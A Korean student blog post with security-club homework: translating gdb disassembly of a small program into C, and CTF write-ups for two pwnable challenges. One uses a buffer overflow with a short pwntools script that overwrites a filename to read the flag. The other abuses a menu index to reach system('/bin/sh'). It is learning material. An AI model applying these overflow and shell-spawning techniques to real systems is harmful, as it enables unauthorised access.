보안 공부/[동아리]

[동아리] Pay1oad_PWNABLE 1주차 과제

jjingjjing-2 2024. 9. 22. 18:39

1. Handray 폴더 안에 존재하는 HW 파일의 main 및 func를 어셈블리어만 보고 C 언어로 바꾸기

어셈블리어를 보기 위헤 gdb를 사용해봤다. 명령어 disass main 명령어를 통해 main에 어떤 코드가 사용되었는지 확인했다.

gdb 안에서 disass main을 사용한 사진

 

1
2
3
4
5
6
7
8
   0x000000000040118e <+0>:     endbr64
   0x0000000000401192 <+4>:     push   rbp
   0x0000000000401193 <+5>:     mov    rbp,rsp
   0x0000000000401196 <+8>:     sub    rsp,0x20
   0x000000000040119a <+12>:    mov    DWORD PTR [rbp-0x14],edi
   0x000000000040119d <+15>:    mov    QWORD PTR [rbp-0x20],rsi
   0x00000000004011a1 <+19>:    mov    DWORD PTR [rbp-0xc],0x0
   0x00000000004011a8 <+26>:    mov    DWORD PTR [rbp-0x10],0x0
cs

 

[rbp-0x14]에는 edi의 값이 들어가고 [rbp-0x20]에는 rsi의 값 [rbp-0xc], [rbp-0x10]에는 각각 0이 들어가는 것을 알 수 있다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
   0x00000000004011af <+33>:    lea    rax,[rip+0xe4e]        # 0x402004
   0x00000000004011b6 <+40>:    mov    rdi,rax
   0x00000000004011b9 <+43>:    call   0x401060 <puts@plt>
   0x00000000004011be <+48>:    lea    rax,[rip+0xe4b]        # 0x402010
   0x00000000004011c5 <+55>:    mov    rdi,rax
   0x00000000004011c8 <+58>:    mov    eax,0x0
   0x00000000004011cd <+63>:    call   0x401070 <printf@plt>
   0x00000000004011d2 <+68>:    lea    rax,[rbp-0xc]
   0x00000000004011d6 <+72>:    mov    rsi,rax
   0x00000000004011d9 <+75>:    lea    rax,[rip+0xe40]        # 0x402020
   0x00000000004011e0 <+82>:    mov    rdi,rax
   0x00000000004011e3 <+85>:    mov    eax,0x0
   0x00000000004011e8 <+90>:    call   0x401080 <__isoc99_scanf@plt>
   0x00000000004011ed <+95>:    lea    rax,[rip+0xe2f]        # 0x402023
   0x00000000004011f4 <+102>:   mov    rdi,rax
   0x00000000004011f7 <+105>:   mov    eax,0x0
   0x00000000004011fc <+110>:   call   0x401070 <printf@plt>
   0x0000000000401201 <+115>:   lea    rax,[rbp-0x10]
   0x0000000000401205 <+119>:   mov    rsi,rax
   0x0000000000401208 <+122>:   lea    rax,[rip+0xe11]        # 0x402020
   0x000000000040120f <+129>:   mov    rdi,rax
   0x0000000000401212 <+132>:   mov    eax,0x0
   0x0000000000401217 <+137>:   call   0x401080 <__isoc99_scanf@plt>
   0x000000000040121c <+142>:   mov    edx,DWORD PTR [rbp-0x10]
   0x000000000040121f <+145>:   mov    eax,DWORD PTR [rbp-0xc]
   0x0000000000401222 <+148>:   mov    esi,edx
   0x0000000000401224 <+150>:   mov    edi,eax
cs

 

puts, printf, scanf 등의 명령어가 사용되었음을 알 수 있다. 우선 puts에 어떤 값이 출력하고 있는지 확인을 해보겠다.

puts 명령어에서는 'Hello World'라는 문자열을 출력한다는 것을 알 수 있다. 다음으로는 printf에 대해 보겠다.

0x402010에 'Input digit A: '라는 값이 저장되어 있고 이 문자열을 출력한다는 것을 알 수 있다. 

scanf 명령어를 보면 [rbp - 0xc]에 넣은 정수값이 저장된다는 것을 알 수 있다. 10을 입력해보겠다.

0x402023에 'Input digit B: '라는 값이 저장되어 있고 이 문자열을 출력한다.

[rbp - 0x10]에 값을 저장한다. 20을 입력해보겠다.

10은 eax에 저장하고 20은 edx에 저장하고 call을 호출하는 것을 알 수 있다. 

1
2
3
4
5
6
7
8
   0x0000000000401226 <+152>:   call   0x401176 <func>
   0x000000000040122b <+157>:   mov    DWORD PTR [rbp-0x4],eax
   0x000000000040122e <+160>:   mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401231 <+163>:   mov    esi,eax
   0x0000000000401233 <+165>:   lea    rax,[rip+0xdf9]        # 0x402033
   0x000000000040123a <+172>:   mov    rdi,rax
   0x000000000040123d <+175>:   mov    eax,0x0
   0x0000000000401242 <+180>:   call   0x401070 <printf@plt>
cs

call 명령어를 통해 func 함수를 불러오고 불러온 값을 [rbp -0x4]에 넣는다는 것을 알 수 있다. 또한 printf 명령어가 한 번도 실행된다.

0x1e(30)이 [rbp - 4]에 들어간다는 것을 알 수 있다.

0x402033에는 'Sum a, b: %d\n'이라는 값이 저장되어 있고 이를 출력한다. 또한, func을 통해 도출된 30(0x1e)과 함께 출력된다.

-> Sum a, b 30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   0x0000000000401247 <+185>:   mov    DWORD PTR [rbp-0x8],0x1
   0x000000000040124e <+192>:   mov    eax,DWORD PTR [rbp-0x8]
   0x0000000000401251 <+195>:   sub    DWORD PTR [rbp-0x4],eax
   0x0000000000401254 <+198>:   cmp    DWORD PTR [rbp-0x4],0x0
   0x0000000000401258 <+202>:   jns    0x401275 <main+231>
   0x000000000040125a <+204>:   mov    eax,DWORD PTR [rbp-0x8]
   0x000000000040125d <+207>:   mov    esi,eax
   0x000000000040125f <+209>:   lea    rax,[rip+0xddb]        # 0x402041
   0x0000000000401266 <+216>:   mov    rdi,rax
   0x0000000000401269 <+219>:   mov    eax,0x0
   0x000000000040126e <+224>:   call   0x401070 <printf@plt>
   0x0000000000401273 <+229>:   jmp    0x40127b <main+237>
   0x0000000000401275 <+231>:   add    DWORD PTR [rbp-0x8],0x1
   0x0000000000401279 <+235>:   jmp    0x40124e <main+192>
   0x000000000040127b <+237>:   mov    eax,0x0
   0x0000000000401280 <+242>:   leave
   0x0000000000401281 <+243>:   ret
 
cs

 

[rbp - 0x8]에 1을 넣고 아까 func에 return된 값을 빼는 것을 알 수 있다. 그 값이 SF = 0을 만족시키면 <main+231>로 점프하고 [rbp - 0x8]에 1을 더한 수 <main + 192>로 다시 되돌아간다. SF(Sign Flag)는 연산 결과가 음수면 1이고 양수면 0이다. 만약 연산한 값이 음수가 나온다면 printf 명령어가 출력된다는 것을 알 수 있다. 

코드를 보면 0x1e - 0x1을 빼는 것을 알 수 있다. 하지만 양수가 값이 도출되었기 때문에 <main+231>로 이동할 것이다. 

<main+231>에서 1을 더하고 다시 <main+192>로 이동하는 것을 알 수 있다. 이를 반복하다고 보면 printf 명령어가 나오는 것을 알 수 있다.

1
2
3
4
5
6
7
8
9
10
   0x0000000000401176 <+0>:     endbr64
   0x000000000040117a <+4>:     push   rbp
   0x000000000040117b <+5>:     mov    rbp,rsp
   0x000000000040117e <+8>:     mov    DWORD PTR [rbp-0x4],edi
   0x0000000000401181 <+11>:    mov    DWORD PTR [rbp-0x8],esi
   0x0000000000401184 <+14>:    mov    edx,DWORD PTR [rbp-0x4]
   0x0000000000401187 <+17>:    mov    eax,DWORD PTR [rbp-0x8]
   0x000000000040118a <+20>:    add    eax,edx
   0x000000000040118c <+22>:    pop    rbp
   0x000000000040118d <+23>:    ret
cs

 

func 함수를 어셈블리어로 보았다. [rbp-0x4], [rbp-0x8]인 곳에 변수를 선언하고 그 값을 더하고 return한다는 것을 알 수 있다.

edx에 0xa가 들어가고 eax에 0x14이 들어간다. 그 후 add eax, edx를 통해 그 값을 더한 후 함수가 종료된다는 것을 알 수 있다.

 

이를 바탕으로 c언어로 짜보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
 
int func(int a, int b)
{
    int a1 = a;
    int b1 = b;
    return a1 + b1;
}
 
int main()
{
    int A, B;
    int repeat = 1;
    int sum = 0;
    puts("Hello World");
    
    printf("Input digit A: ");
    scanf("%d"&A);
    printf("Input digit B: ");
    scanf("%d"&B);
 
    sum = func(A, B);
    printf("Sum a, b: %d\n", sum);
 
    while(sum > 0)
    {
        sum -= repeat;
        if(sum < 0)
            break;
        repeat++;
    }
    printf("repeat %d", repeat);
 
    return 0;
}
cs

 

1.2 그 과정에서의 main의 스택 프레임 그리기

스택프레임

0x20, 0x14에 저런 값이 들어가는 이유는 다음 그림에서 알 수 있다.

어셈블리어의 scanf 부분을 유심히 보면 각각 rbp에서 0x10, 0xc 뺀 값에 할당 받는 것을 알 수 있다. 그렇기 때문에 0x10에 B 0xc A가 들어간다. 또한 func 함수가 끝난 후에 더한 값을 0x4에 sum이 들어가고 0x8에 1이 들어간다는 것을 알 수 있다.

 

2. Pay1oad Welcome CTF에 출제되었던 cute 및 Little_shell 문제 풀이 및 라이트 업 작성하기

2.1 cat is cute

 

제공된 소스 코드를 먼저 확인해 보았다.

1
2
    char name[0x10];
    read(0,name, 0x18);
cs

 

name의 크기는 0x10으로 선언되었지만 read 명령어를 통해 0x18까지 받을 수 있다. 이 부분에서 BOF발생할 수 있다는 것을 알 수 있다. 

1
    print_file(filename);
cs

 

이 코드로 인해 print_file이 호출을 알 수 있고 filename에 들어있는 값도 같이 들어가는 것을 알 수 있는데 print_file이 어떤 함수인지 확인을 해보겠다.

1
2
3
int print_file(char * filename){
    FILE *file = fopen(filename, "r");
}
cs

 

print_file 함수는 filename의 값을 받아서 읽어주는 역할을 하는 것을 알 수 있다. 만약 filename에 flag값이 있다는 flag 값을 알 수 있다는 것이다. 

 

소스코드를 분석한 내용을 정리하면 read 명령어를 통해 name은 BOF가 발생할 수 있고 print_file은 filename을 읽어서 그 값을 읽을 수 있다는 것을 알 수 있다. 즉 BOF를 통해 filename이 가지고 있는 값을 덮을 수 있다면 flag를 획득할 수 있다는 것이다.

 

gdb를 통해 분석을 해보겠다.

 

먼저 어떤 보호 기법이 적용되었는지 확인을 해보겠다.

checksec을 통해 보호기법 확인

 

모든 보호 기법이 적용되었다는 것을 알 수 있다. 

1
2
3
4
5
6
   0x0000000000001372 <+73>:    lea    rax,[rbp-0x30]
   0x0000000000001376 <+77>:    mov    edx,0x18
   0x000000000000137b <+82>:    mov    rsi,rax
   0x000000000000137e <+85>:    mov    edi,0x0
   0x0000000000001383 <+90>:    mov    eax,0x0
   0x0000000000001388 <+95>:    call   0x1140 <read@plt>
cs

[rbp-0x30]에서 name의 값을 받고 0x18의 길이까지 받는다. 

1
2
3
   0x00000000000013b7 <+142>:   lea    rax,[rbp-0x20]
   0x00000000000013bb <+146>:   mov    rdi,rax
   0x00000000000013be <+149>:   call   0x12b0 <print_file>
cs

 

[rbp-0x20]에서 값을 받는다는 것을 알 수 있다. 이를 보아 filename의 위치는 [rbp-0x20]에 있다는 것을 알 수 있다.

 

그렇다면 name과 filename은 0x10만큼 차이가 난다는 것을 알 수 있는데 0x10만큼의 dummy 값을 넣고 그 뒤에 flag를 쓰면 flag 값을 획득할 수 있을 것 같다.

1
2
3
4
5
6
7
8
9
from pwn import *
 
= remote("pay1oad.com"5000)
 
payload = b'A' * 0x10 + b'flag'
p.send(payload)
print(p.recv())
 
p.interactive()
cs

 

 

flag값 도출

 

2.2 Little_shell

 

먼저 어떤 프로그램인지 실행시켜보았다.

실행을 시켜보니 1,2,3,9 중 숫자를 입력하면 이 명령어가 실행되는 프로그램인 것 같다. IDA를 통해 확인을 해보겠다.

1
2
3
4
5
6
7
8
  for ( i = 0; ; system((const char *)*(&command + i)) )
  {
    description();
    printf("> ");
    __isoc99_scanf("%d", &i);
    if ( i == 9 )
      break;
  }
cs

이해하기 쉽게 먼저 디컴파일을 했고 해석을 해보면 i의 값을 넣는데 system(command[i])이 실행되면서 무한루프를 돈다. 하지만 i가 9가 입력되면 break 작동되어 무한루프가 해제되는 것을 알 수 있다. 

 

command 값에 어떤 값이 존재하는지 확인을 해보면 이 문제를 풀 수 있을 것 같다.

command

4번째 값을 보면 "/bin/sh"가 존재하는 것을 알 수 있는데 이를 작동시키면 shell을 획득할 수 있다. 한 번 실행해봤다.

flag 획득